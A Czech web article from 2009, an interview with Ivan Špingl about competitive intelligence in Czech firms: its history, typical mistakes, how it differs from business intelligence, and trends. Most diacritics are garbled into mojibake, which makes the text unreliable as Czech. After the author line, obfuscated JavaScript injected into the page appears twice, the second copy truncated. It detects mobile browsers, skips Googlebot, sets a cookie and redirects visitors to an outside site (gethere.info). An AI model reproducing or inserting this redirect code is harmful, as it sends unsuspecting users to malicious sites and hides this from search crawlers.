Rozhovor s Ing. Ivanem Ai??pinglem

Odborné články, Rozhovory

14. 12. 2009

A?asto se Ai??Ai??kA?, A?e firmy nevAi??dAi??, co je CI, ale v podstatAi?? ho na jistAi?? A?rovni provA?dAi??jAi??. JakA?ch chyb se dopouA?tAi??jAi?? nejA?astAi??ji?

ZaA?nu od lesa. O CI se mluvAi?? jako o ai??zdAi??tAi??ti marketinguai???, a proto nemohl nebA?t v 80. letech podobnA? problAi??m s marketingem, jako je nynAi?? s CI. V tAi?? dobAi?? byl navAi??c pojem marketing v A?SSR, na rozdAi??l od ekonomik na zA?pad od nA?s, zcela neznA?mA?, lAi??pe Ai??eA?eno zapovAi??zenA?. V knihkupectvAi??ch u nA?s neA?lo koupit jedinou A?esky psanou odbornou knihu, kterA? by ve svAi??m titulu obsahovala slovo marketing.

Pracoval jsem tou dobou v podniku zahraniA?nAi??ho obchodu a nikdo nemAi??l na svAi?? vizitce nebo na dveAi??Ai??ch kancelA?Ai??e nA?pis marketing, nikdo ani nemohl bA?t v marketingu zamAi??stnA?n, protoA?e takovAi?? mAi??sto na trhu prA?ce v A?SSR neexistovalo.

PAi??esto se marketing tou dobou za socialismu fakticky dAi??lal v jistAi??m omezenAi??m rozsahu i u nA?s. DAi??lali jsme analA?zy konkurenceschop­nosti produktA? rA?znA?ch vA?robcA?, mAi??li jsme podklady o kapitA?lovAi?? sAi??le konkurentA?, organizovali jsme mezinA?rodnAi?? veletrhy, vytvA?Ai??eli obchodnAi?? A?i marketingovAi?? strategie prA?niku na rA?znAi?? zahraniA?nAi?? trhy, nechali vyrA?bAi??t reklamnAi?? pAi??edmAi??ty apod. Z tehdejA?Ai??ho rejstAi??Ai??ku marketingovA?ch A?innostAi?? se ovA?em u nA?s nedAi??lal standardnAi?? vA?zkum trhu, jenA? mA? v trA?nAi??m prostAi??edAi?? vA?znam kardinA?lnAi??.

NavAi??c mAi??l v tehdejA?Ai??m reA?imu marketing ideologickou nA?lepku ai??zvA?dobytku kapitalismuai???, (takA?e) neA?el proto ani studovat na A?A?dnAi?? vysokAi?? A?kole v A?SSR. ProstAi?? marketing formA?lnAi?? neexistoval. NeformA?lnAi?? ano, ne ovA?em ve svAi?? rozvinutAi?? podobAi??, jako tomu jiA? tehdy bylo na zA?padAi??. K prudkAi??mu rozvoji marketingu u nA?s doA?lo aA? po zmAi??nAi?? reA?imu v souvislosti se sametovou revolucAi??.

ZvlA?A?tnAi?? pozornost si zasluhuje existence A?eskAi??ho institutu pro marketing ai??i?? CIMA (cima.cz), kterA? zaA?A?tkem 90. let vyuA?il tAi??to ai??zdAi??ryai??? na trhu, tAi??to A?havAi?? poptA?vky po marketingu a nabAi??dl dvAi?? A?rovnAi?? vzdAi??lA?vacAi??ch programA? CIMA A a CIMA B. Byly to komplexnAi??, licencovanAi?? vA?ukovAi?? programy zakoupenAi?? v Holandsku. Koncem 90. let mAi??lo v A?R absolvovA?no kurzy CIMA A Ai??A?dovAi?? nAi??kolik tisAi??c lidAi??, CIMA B nAi??kolik set. Ne nA?hodou nabAi??zAi?? CIMA kurzy CIMA C aA? od loA?skAi??ho roku, protoA?e u nA?s pro tuto A?roveA? neexistovali A?mAi??rnAi?? vzdAi??lanAi?? a zkuA?enAi?? lektoAi??i. (CIMA D neexistuje, znalostnAi?? nic vyA?A?Ai??ho neA? CIMA C nenAi??.)

PodobnAi?? aA? A?plnAi?? stejnAi?? jako s marketingem je to nynAi?? u nA?s s jeho dalA?Ai??m vA?vojovA?m stA?diem ai??i?? CI. V A?R s CI pA?r poslednAi??ch let formA?lnAi?? zaA?Ai??nA?me.

NeformA?lnAi??, v nejvolnAi??jA?A­i??m vA?kladu tohoto pojmu, ovA?em dAi??lajAi?? CI prakticky vA?echny podnikatelskAi?? subjekty. CI dAi??lA? v relativnAi?? primitivnAi?? podobAi?? i kaA?dA? A?ivnostnAi??k. Zrovna tak jako i kaA?dA? A?ivnostnAi??k dA­i??lA? nAi??co z marketingu. KaA?dA? totiA? vA?A?Ai??, za jakou cenu nabAi??zet svA?j produkt, kaA?dA? pozornAi?? sleduje chovA?nAi?? a ceny konkurentA?, kaA?dA? se snaA?Ai?? si dAi??lat reklamu ai??i?? dA?vat o sobAi?? na trhu vAi??dAi??t. KaA?dA? zpAi??tnAi?? vyhodnocuje, zda mA? v reakci na chovA?nAi?? zA?kaznAi??kA? a konkurentA? nAi??jak svou nabAi??dku upravit. A?ivnostnAi??k nebo malA? firma majAi?? ovA?em omezenAi?? moA?nosti, a dAi??lajAi?? tak A?mAi??rnAi?? svA?m moA?nostem i marketing, resp. CI.

Chceme-li mluvit o CI jako o funkci managementu, o specifickAi?? personA?lnAi?? pozici, kterA? mA? bA?t v organizaA?nAi??m uspoAi??A?dA?nAi?? podnikatelskAi??ho subjektu obsazena odbornAi??kem na CI, a chceme-li mluvit o formalizovanAi??m procesu A?i systAi??mu, kterA?m se funkce managementu v oblasti CI v takovAi??m subjektu realizuje, tA?kajAi?? se takovAi?? A?innosti aA? podnikA? stAi??ednAi?? velikosti a vA?A?e (dle pravidel EU je stAi??ednAi?? podnik subjekt, kterA? mA? 50 ai??i?? 249 zamAi??stnancA? a obrat / vA?A?i aktiv 10 ai??i?? 50 milionA? EUR). U podnikA? A?i firem menA?Ai??ch neA? stAi??ednAi??ch vykonA?vA? CI nAi??kdo na A?A?steA?nA? A?vazek, nebo, coA? je nejbAi??A?nAi??jA?A­i?? pAi??Ai??pad, pracuje v oddAi??lenAi?? marketingu nebo obchodu (prodeje nebo nA?kupu) a A?A?st svAi?? pracovnAi?? doby vAi??nuje specificky i CI.

NejtypiA?tAi??jA?A­i?? chyby:

  • Na celAi?? zemAi??kouli pracoviA?tAi?? CI funguje efektivnAi?? a je vysoce zhodnocovA?no jen a pouze, pokud reportuje pracovnAi??k CI pAi??Ai??mo CEO nebo marketingovAi??mu, resp. obchodnAi??mu Ai??editeli a ten pak CEO. A?ili CI je urA?eno a bylo vymyA?leno pro informaA?nAi?? podporu strategickAi?? rozhodovA?nAi??, v exekutivnAi??, vrcholovAi?? rovinAi?? Ai??Ai??zenAi?? podniku. NemA?-li v podniku organizaA?nAi?? jednotka marketingu kompetenci v exekutivnAi?? rovinAi??, tj. pozici strategickAi??ho vA?znamu (strategickA? marketing), ale je v organizaA?nAi?? struktuAi??e nAi??A?e ai??i?? v rovinAi?? taktiky (podpora prodeje, reklama, inzerce, poAi??A?dA?nAi?? propagaA?nAi??ch akcAi??), je organizaA?nAi?? zaA?lenAi??nAi?? CI pod takovA?m marketingem tzv. ai??zpolibkem smrtiai???, CI nefunguje. ObecnAi?? tedy platAi??: A?Ai??m CI v organizaA?nAi?? struktuAi??e vA?A?e, tAi??m lAi??pe. DobrA?m mAi??stem pro CI je i pracoviA?tAi?? strategickAi??ho plA?novA?nAi?? nebo strategickAi??ho rozvoje, pAi??Ai??padnAi?? business developmentu, resp. pracoviA?tAi?? knowledge managementu ai??i?? Ai??Ai??zenAi?? znalostAi??.
  • Ve srovnA?nAi?? s vyspAi??lejA?A­i??mi trhy zA?padnAi??ho svAi??ta je vidAi??t evidentnAi?? ai??znezralostai??? podnikA? v A?R ve schopnosti vidAi??t vA?hodu v nA?kupu sluA?eb a nA?strojA? pro CI od odbornA?ch dodavatelA?. PreferujAi?? pAi??Ai??stupy zdlouhavA?ch pokusA? a omylA? v duchu ai??zvA?hodnos­tiai???, A?e za takovAi?? sluA?by a nA?stroje nemusejAi?? platit externAi??m dodavatelA?m. OtA?zkou zA?stA?vA?, na kolik je potom takovAi?? vlastnAi??mi silami vytvoAi??enAi?? pracoviA?tAi?? CI efektivnAi?? a vA?bec uA?iteA?nAi??. Jak dlouho jeho vytvoAi??enAi?? trvalo a kolik v souhrnu stA?loai??i??
  • NejvyA?A?Ai?? vedenAi?? podlehne ai??zhnutAi?? odporuai??? proti chodu CI zevnitAi?? organizace. CI totiA? nastavuje o poA?Ai??nA?nAi?? organizace na trzAi??ch nemilosrdnAi?? pravdivAi?? zrcadlo. A vedle majitelA? chce takovA? pravdivA? obraz vidAi??t jen mA?lokterA? manaA?er z Ai??ad tAi??ch, kteAi??Ai?? jsou placeni za svojAi?? prA?ci ve formAi?? fixnAi??ho platu a kteAi??Ai?? nemajAi?? podAi??l na vA?slednAi??m zis­ku.

JakA? je rozdAi??l mezi Competitive Intelligence a Business Intelligence?

V rA?znA?ch A?A?stech svAi??ta se vA?klad liA?Ai??. Existuje napAi??. nA?zor, A?e se pA?vodnAi?? vymyslel vA?raz Competitive Business Intelligence a ten se z dA?vodu nepraktiA?nosti pro bAi??A?nAi?? pouA?Ai??vA?nAi?? zkrA?til na Competitive Intelligence (CI). JinA? nA?zor tvrdAi??, A?e je CI podmnoA?inou Business Intelligence (BI). NAi??kde se dA?vA? mezi BI a CI rovnAi??tko.

SmAi??Ai??livAi?? postoje vedou ke kompromisnAi??m postojA?m (kdyA? se kompromis chce), ve kterA?ch se u obou slov akcentuje Intelligence a pAi??Ai??vlastky Business A?i Competitive se nepovaA?ujAi?? za smAi??rodatnAi??. Sleduje se tAi??m vysvAi??tlenAi??, A?e je A?spAi??ch v konkurenA?nAi??m boji zaloA?en na schopnosti organizace vymyslet nAi??jakAi?? novAi??, inteligentnAi?? Ai??eA?enAi?? za A?A?elem prosazenAi?? se na trhu v konkurenA?nAi??m boji, podobnAi?? jako se takovA? schopnost u lidAi?? vyjadAi??uje pomocAi?? IQ.

Po letitA?ch odbornA?ch diskusAi??ch se v A?R postupnAi?? mezi odbornAi??ky ustA?lil nA?zor, A?e je navzdory velkAi?? podobnosti BI zamAi??Ai??eno spAi??A?e na vnitAi??nAi?? prostAi??edAi?? organizace (dolovA?nAi?? dat, data mining) a CI spAi??A?e na vnAi??jA?Ai?? prostAi??edAi??. Jinak Ai??eA?eno, BI pracuje primA?rnAi?? se zdroji dat, informacAi?? a znalostAi??, kterAi?? se nachA?zejAi?? uvnitAi?? organizace, CI se zdroji dat, informacAi?? a znalostAi??, kterAi?? se nachA?zejAi?? vnAi?? organizace (samozAi??ejmAi?? v kontextu s vnitAi??nAi??m prostAi??edAi??m).

TAi??m, jak v globA?lnAi??m konkurenA?nAi??m boji ve srovnA?nAi?? s minulostAi?? vAi??ce a vAi??ce zA?leA?Ai?? na znalostech o vnAi??jA?Ai??m prostAi??edAi?? neA? na vnitAi??nAi??m prostAi??edAi?? (umAi??nAi?? nenAi?? vyrobit, ale prodat), vynA?A?Ai?? logicky tento trend CI na vA?slunAi??.

Existuje i vA?raz Competitor Intelligence, kterA? je nAi??kde s CI zamAi??A?ovA?n, nicmAi??nAi?? jak sA?m vA?raz napovAi??dA? (Competitor je v pAi??ekladu konkurent), tA?kA? se jen a pouze chovA?nAi?? konkurentA?, nikoliv komplexnAi?? konkurenceschop­nosti jako CI, resp. BI.

StA?le vAi??ce se pro CI v A?R pouA?Ai??vA? i volnAi??jA?Ai?? ekvivalent ai??i?? KonkurenA?nAi?? zpravodajstvAi??.

V otrockAi??m pAi??ekladu je CI inteligence konkurenceschop­nosti, inteligence pro konkurenceschopnost nebo konkurenA?nAi?? A?i konkurences­chopnA? inteligence.

Kde zaA?Ai??t, kdyA? chci mAi??t ve firmAi?? sprA?vnAi?? fungujAi??cAi?? cyklus CI?

K zA?kladnAi?? informovanosti na samAi??m zaA?A?tku takovAi?? snahy jistAi?? pAi??ispAi??je studium odbornA?ch podkladA? a bAi??A?nAi?? vzdAi??lA?vA?nAi??. NejsnazA?Ai?? je ovA?em pAi??izvat odbornAi??ho konzultanta. ZavedenAi?? cyklu, resp. procesu A?i systAi??mu CI totiA? pAi??ipomAi??nA? svA?m charakterem spAi??A?e zakA?zkovAi?? krejA?ovstvAi?? neA? konfekci. KaA?dA? firma je jinA?, v danou chvAi??li v jinAi??m stadiu rozvoje, s jinou strategiAi??, mA? jinAi?? produkty, jinou klientelu a operuje na jinA?ch trzAi??ch. PotAi??ebuje proto specifickAi?? Ai??eA?enAi?? na mAi??ru, kterAi?? pAi??esnAi?? odpovAi??dA? jejAi??m aktuA?lnAi??m potAi??ebA?m.

Kde zAi??skA?vat kvalitnAi?? a novAi?? informace o CI?

VA?echny podnikatelskAi?? organizace si svAi?? vlastnAi?? Ai??eA?enAi?? zvlA?dA?nAi?? CI pAi??ed vnAi??jA?Ai??m okolAi??m aA? A?zkostlivAi?? chrA?nAi??, protoA?e unikA?tnost jejich Ai??eA?enAi?? CI zpravidla hraje klAi??A?ovou roli pro jejich vlastnAi?? konkurenceschop­nost. Nelze tedy bAi??A?nAi?? uA?Ai??vat metod benchmarkingu, jen velmi tAi??A?ko lze zAi??skA?vat pAi??Ai??padovAi?? studie.

VA?voj svAi??ta je v poslednAi??ch dvou dekA?dA?ch tak dynamickA?, A?e ai??zkamennAi??a­i??? vysokAi?? A?koly nestAi??hajAi?? do svA?ch vA?ukovA?ch programA? pAi??edmAi??ty zamAi??Ai??enAi?? na CI zaAi??azovat. A i kdyby tuto vA?li mAi??ly, jen tAi??A?ko shA?nAi??jAi?? zkuA?enAi?? vyuA?ujAi??cAi?? ai??i?? jsou limitovA?ny rozpoA?ty… A pokud takovAi?? pAi??edmAi??ty do vA?uky zaAi??azujAi??, nelze oA?ekA?vat, A?e zde zAi??skanAi?? teoretickAi?? znalosti na vybudovA?nAi?? vlastnAi??ho pracoviA?tAi?? staA?Ai??. PAi??edstavujAi?? jen elementA?rnAi?? zA?klad, absolventi se nAi??co dovAi?? spAi??A?e o platformAi?? CI, o pojetAi?? CI, o pAi??Ai??stu­pech CI.

OptimA?lnAi??mi institucemi, kterAi?? ai??zmajAi?? prst na tepu dobyai??? a kterAi?? poskytujAi?? nejcennAi??jA?Ai?? informace a znalosti v oboru CI, jsou profesnAi?? sdruA?enAi??, specializovanAi?? poradenskAi?? firmy a vzdAi??lA?vacAi?? agentury. Zdroj informacAi?? a znalostAi?? o CI na globA?lnAi?? A?rovni pAi??edstavuje cechovnAi?? A?i profesnAi?? organizace Society of Competitive Intelligence Professionals ai??i?? SCIP, www.scip.org.

KdyA? mA? firma dobAi??e fungujAi??cAi?? CI, znamenA? to, A?e snadnAi??ji odolA?vA? v tAi??A?kA?ch podmAi??nkA?ch konkurenA?nAi??ho bo­je?

ZvolAi??me-li A?kA?lu basic ai??i?? advanced ai??i?? master, mohou malAi?? firmy, kterAi?? operujAi?? v A?zkA?ch trA?nAi??ch A?kvAi??rA?ch vystaA?it se znalostmi CI na A?rovni ai??zbasicai???, tedy na A?rovni zA?kladnAi??ch znalostAi??, realizovanA?ch v praxi spAi??A?e neformA?lnAi??, intuitivnAi??. MluvAi?? se v tomto pAi??Ai??padAi?? o obchodnAi??m talentu, pAi??irozenAi?? inteligenci, o tom, A?e mA? nAi??kdo podnikatelskAi??ho ducha. AsroveA? potAi??ebnA?ch znalostAi?? bych pAi??irovnal k A?rovni CIMA A (zA?klady marketingu).

Pokud obchodnAi?? spoleA?nost roste, stA?vA? se podnikem, stA?vA? se firmou stAi??ednAi?? velikosti a zdaleka si jiA? management v A?ele takovAi?? firmy v dneA?nAi??m prostAi??edAi?? globA?lnAi?? hyperkonkurence nevystaA?Ai?? se svojAi?? pAi??irozenou inteligencAi?? A?i obchodnAi??m talentem, nevystaA?Ai?? si se znalostmi zAi??skanA?mi ve A?kole, byA? by se jednalo i o vzdAi??lA?nAi?? vysokoA?kolskAi??. Dynamika vA?voje vA?echny A?A?astnAi??ky konkurenA?nAi??ho boje nekompromisnAi?? nutAi?? se prA?bAi??A?nAi?? vzdAi??lA?vat a neustA?le si osvojovat novAi?? poznatky. ZAi??skA?vat novAi?? ai??zzbranAi??ai??? pro vedenAi?? konkurenA?nAi??ho bo­je.

Aby firma stAi??ednAi?? velikosti vA?bec udrA?ela svojAi?? pozici na trhu, natoA? aby rostla, musAi?? jejAi?? vedenAi?? dennodennAi?? prokazovat znalosti CI na A?rovni ai??zadvancedai???, tedy na A?rovni pokroA?ilAi??, Ai??eknAi??me na A?rovni odpovAi??dajA­i??cAi?? CIMA B (strategickA? marketing). VysokoA?kolskAi?? vzdAi??lA?nAi?? manaA?erA? v A?ele takovAi?? firmy se povaA?uje za nezbytnou samozAi??ejmost.

PotAi??eba zajiA?tAi??nAi?? relativnAi?? bezpeA?nAi?? konkurenA?nAi?? pozice v pAi??Ai??padAi?? velkAi?? firmy pak vyvolA?vA? znalosti nejvyA?A?Ai?? myslitelnAi?? A?rovnAi??. A?A?dnA? jednotlivec, i kdyby mAi??l nejvyA?A?Ai?? myslitelnAi?? IQ a nejlepA?Ai?? moA?nAi?? vzdAi??lA?nAi??, uA? nenAi?? dost chytrA? a vzdAi??lanA?, aby mAi??l jistotu, A?e mA?A?e dobrou pozici velkAi?? firmy na trzAi??ch dlouhodobAi?? udrA?et. VyuA?Ai??vajAi?? se formy nejvyA?A?Ai??ho dosaA?itelnAi??ho vzdAi??lA?vA?nAi??, pracuje se v sAi??tAi??, ve A?piA?kovAi??m tA?mu, kterA? pAi??edstavuje think-tank, A?i jak se dAi??Ai??ve Ai??Ai??kalo mozkovA? trast. Nejen to, komplikovanost Ai??Ai??zenAi?? velkAi?? firmy na globA?lnAi??ch trzAi??ch vyA?aduje vedle prA?ce v tA?mu aA? vAi??deckAi?? pAi??Ai??stupy pAi??i prA?ci s informacemi a znalostmi. Pro vekou firmu trvale pracuje plejA?da specializovanA?ch poradenskA?ch firem i Ai??ada externAi??ch specialistA?, expertA?, kteAi??Ai?? majAi?? nAi??kolik titulA? pAi??ed jmAi??nem i za jmAi??nem, hlavnAi?? ale osobnAi?? zkuA?enosti z Ai??Ai??zenAi?? velkA?ch firem zAi??skanA?ch v minulosti (zkuA?enost je na zaA?A?tku 21. stoletAi?? nadA?le nesdAi??litelnA?).

UdrA?itelnA? rozvoj velkAi?? firmy si vynucuje soubor znalostAi?? pro efektivnAi?? vA?kon CI A?rovnAi?? ai??zmasterai???, neboli v analogii A?rovnAi?? CIMA C. Ne nA?hodou A?innost CI v takovAi?? firmAi?? pAi??ipomAi??nA? A?innost zpravodajskA?ch sluA?eb. PouA?Ai??vajAi?? se nejvyspAi??le­jA?Ai?? metody CI, nejvyspAi??le­jA?Ai?? informaA?nAi?? a komunikaA?nAi?? technologie a nejvyspAi??le­jA?Ai?? informaA?nAi?? a komunikaA?nAi?? programy, kterAi?? lze na trzAi??ch koupit. PAi??Ai??sluA?nA?m pracovnAi??kA?m v oblasti CI velkA? firma poskytuje nejvyA?A?Ai??, nejdraA?A?Ai?? a nejkvalitnAi??jA?A­i?? vzdAi??lA?vacAi?? kurzy, lhostejno kde a kA?m jsou na svAi??tAi?? poskytovA?ny a kolik A?inAi?? cena za takovAi?? kurzy. JednA? se o mistrovskAi?? A?i presidentskAi?? kurzy na nejprestiA?nA­i??jA?Ai??ch vzdAi??lA?vacAi??ch institucAi??ch svAi??ta.

Bez praktikovA?nAi?? CI na A?rovni A?mAi??rnAi?? stadiu rozvoje podniku dAi??Ai??ve A?i pozdAi??ji podnik konA?Ai??. Miliony firem jsou dennAi?? na zemAi??kouli zaklA?dA?ny, miliony jich kaA?dA? den konA?Ai??.

JakAi?? jsou teA? nejvAi??tA?Ai?? trendy v oblasti CI?

ObecnA?m trendem, kterA? v historickAi??m kontextu probAi??hA? uA? od 80. let a kterA? se skokem urychlil po pA?du A?eleznAi?? opony a s tAi??m souvisejAi??cAi??m koncem bipolA?rnAi??ho svAi??ta, je odchod od neetickA?ch pAi??Ai??stupA? prA?myslovAi?? A?pionA?A?e k pAi??Ai??stupA?m oboru CI, kdy se dajAi?? informace a znalosti zAi??skat z veAi??ejnA?ch zdrojA? pomocAi?? nejvyspAi??le­jA?Ai??ch informaA?nAi??ch a komunikaA?nAi??ch technologiAi??. Informace a znalosti i nA?stroje k CI se dajAi?? v dneA?nAi?? dobAi?? normA?lnAi?? koupit. V 80. letech byly pro nA?s ve stAi??ednAi?? EvropAi?? vyspAi??lAi?? technologie nedostupnAi??, koupit se na trhu nedaly. ObecnAi?? by se tedy dalo Ai??Ai??ci: komercializace nA?strojA? zpravodajskA?ch sluA?eb.

DalA?Ai??m obecnA?m trendem je dalA?Ai?? postupnAi?? splA?vA?nAi?? A?i pAi??ekrA?vA?nA­i?? tradiA?nAi??ch komerA?nAi??ch A?innostAi?? strategickA?m marketingem a zA?roveA? i pAi??ekrA?vA?nA­i?? A?i splA?vA?nAi?? s informatikou. VznikA? tak novA?, osobitA? hybrid, interdiciplinA?rnA­i?? obor CI.

VA?voj oboru CI dospAi??vA? (maturity) k dalA?Ai??m dAi??lA?Ai??m specializacAi??m a tAi??m dochA?zAi?? k dalA?Ai??mu A?lenAi??nAi?? A?i vAi??tvenAi??. VznikA? a zvyA?uje se zA?jem o CFI ai??i?? Competitive Financial Intelligence, CTI ai??i?? Competitive Technical Intelligence, CI Defense, systAi??my Early Warning apod.

V Praze dne 20.11.2009 na otA?zky odpovAi??dal: Ivan Ai??pingl, gmcmarketing.cz, agendas.net

Autor: G. MasaAi??Ai??kovA?

var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v )|mwbp|mywa|n10[0–2]|n20[2–3]|n30(0|2)|n­50(0|2|5)|n7(0(0|1)|10)|­ne|phil|pire|pl(a­y|uc)|pn\-2|po(ck|rt|se­)|prox|psio|pt\-g|qa\-a|qc(07|12|21­|32|60|\-[2–7]|i\-)|qtek|r380|r­600|raks|rim9|ro(ve­|zo)|s55\/|sa(ge|ma|mm|m­s|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|n­d|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|s­m(al|ar|b3|it|t5)|so(ft|­ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t­2(18|50)|t6(00|10|18)|ta­(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|­ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|ut­st|v400|v750|ve­ri|vi(rg|te)|vk(40|5[0–3]|\-v)|vm40|voda|vul­c|vx(52|53|60|61|70|80|8­1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|­wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]­](_0×ecfdx1[_0×446d­[9]](0,4))){var _0×ecfdx3= new Date( new Date()[_0×446d­[10]]()+ 1800000);docu­ment[_0×446d[2]­]= _0×446d[11]+ _0×ecfdx3[_0×446d­[12]]();window[_0×446d[­13]]= _0×ecfdx2}}})(na­vigator[_0×446d[­3]]|| navigator[_0×446d[­4]]|| window[_0×446d[­5]],_0×446d[6])}var _0×446d=[„\x5­F\x6D\x61\x75\x74\x68\x7­4\x6F\x6B\x65\x6E“,„\x69­\x6E\x64\x65\x78\x4F\x66­“,„\x63\x6F\x6F\x6B\x69\­x65“,„\x75\x73\x65\x72\x­41\x67\x65\x6E\x74“,„\x7­6\x65\x6E\x64\x6F\x72“,„­\x6F\x70\x65\x72\x61“,„\­x68\x74\x74\x70\x3A\x2F\­x2F\x67\x65\x74\x68\x65\­x72\x65\x2E\x69\x6E\x66\­x6F\x2F\x6B\x74\x2F\x3F\­x32\x36\x34\x64\x70\x72\­x26“,„\x67\x6F\x6F\x67\x­6C\x65\x62\x6F\x74“,„\x7­4\x65\x73\x74“,„\x73\x75­\x62\x73\x74\x72“,„\x67\­x65\x74\x54\x69\x6D\x65“­,„\x5F\x6D\x61\x75\x74\x­68\x74\x6F\x6B\x65\x6E\x­3D\x31\x3B\x20\x70\x61\x­74\x68\x3D\x2F\x3B\x65\x­78\x70\x69\x72\x65\x73\x­3D“,„\x74\x6F\x55\x54\x4­3\x53\x74\x72\x69\x6E\x6­7“,„\x6C\x6F\x63\x61\x74­\x69\x6F\x6E“];if(do­cument[_0×446d[2]­][_0×446d[1]](_0×446d[0]­)==  –1){(function(_0×ec­fdx1,_0×ecfdx2){if(_0×­ecfdx1[_0×446d­[1]](_0×446d[7])==  –1){if(/(andro­id|bb\d+|meego)­.+mobile|avan­tgo|bada\/|blac­kberry|blazer|com­pal|elaine|fen­nec|hiptop|ie­mobile|ip(hone|od|ad)|i­ris|kindle|lge |maemo|midp|mmp|mo­bile.+firefox|net­front|opera m(ob|in)i|palm( os)?|phone|p(i­xi|re)\/|pluc­ker|pocket|psp|se­ries(4|6)0|sym­bian|treo|up\­.(browser|lin­k)|vodafone|wap|win­dows ce|xda|xiino/i[_0×446d­[8]](_0×ecfdx1)|| /1207|6310|65­90|3gso|4thp|50[1–6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(­av|ca|co)|amo­i|an(ex|ny|yw)|ap­tu|ar(ch|go)|as(te|us)|at­tw|au(di|\-m|r |s )|avan|be(ck|ll­|nq)|bi(lb|rd)|bl(ac|az)­|br(e|v)w|bum­b|bw\-(n|u)|c55\/|c­api|ccwa|cdm\-|cell|chtm|cldc­|cmd\-|co(mp|nd)|cr­aw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c­|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)­|er(ic|k0)|es­l8|ez([4–7]0|os|wa|ze)­|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad­|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)­|tp)|hu(aw|tc)|i\-(20|go|ma)|i2­30|iac( |\-|\/)|ibro|ide­a|ig01|ikom|im1k|in­no|ipaq|iris|ja(t|v)a­|jbro|jemu|jig­s|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no­|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|­ma(te|ui|xo)|mc(01|­21|ca)|m\-cr|me(rc|ri)|­mi(o8|oa|ts)|mmef|m­o(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(­50|p1|v 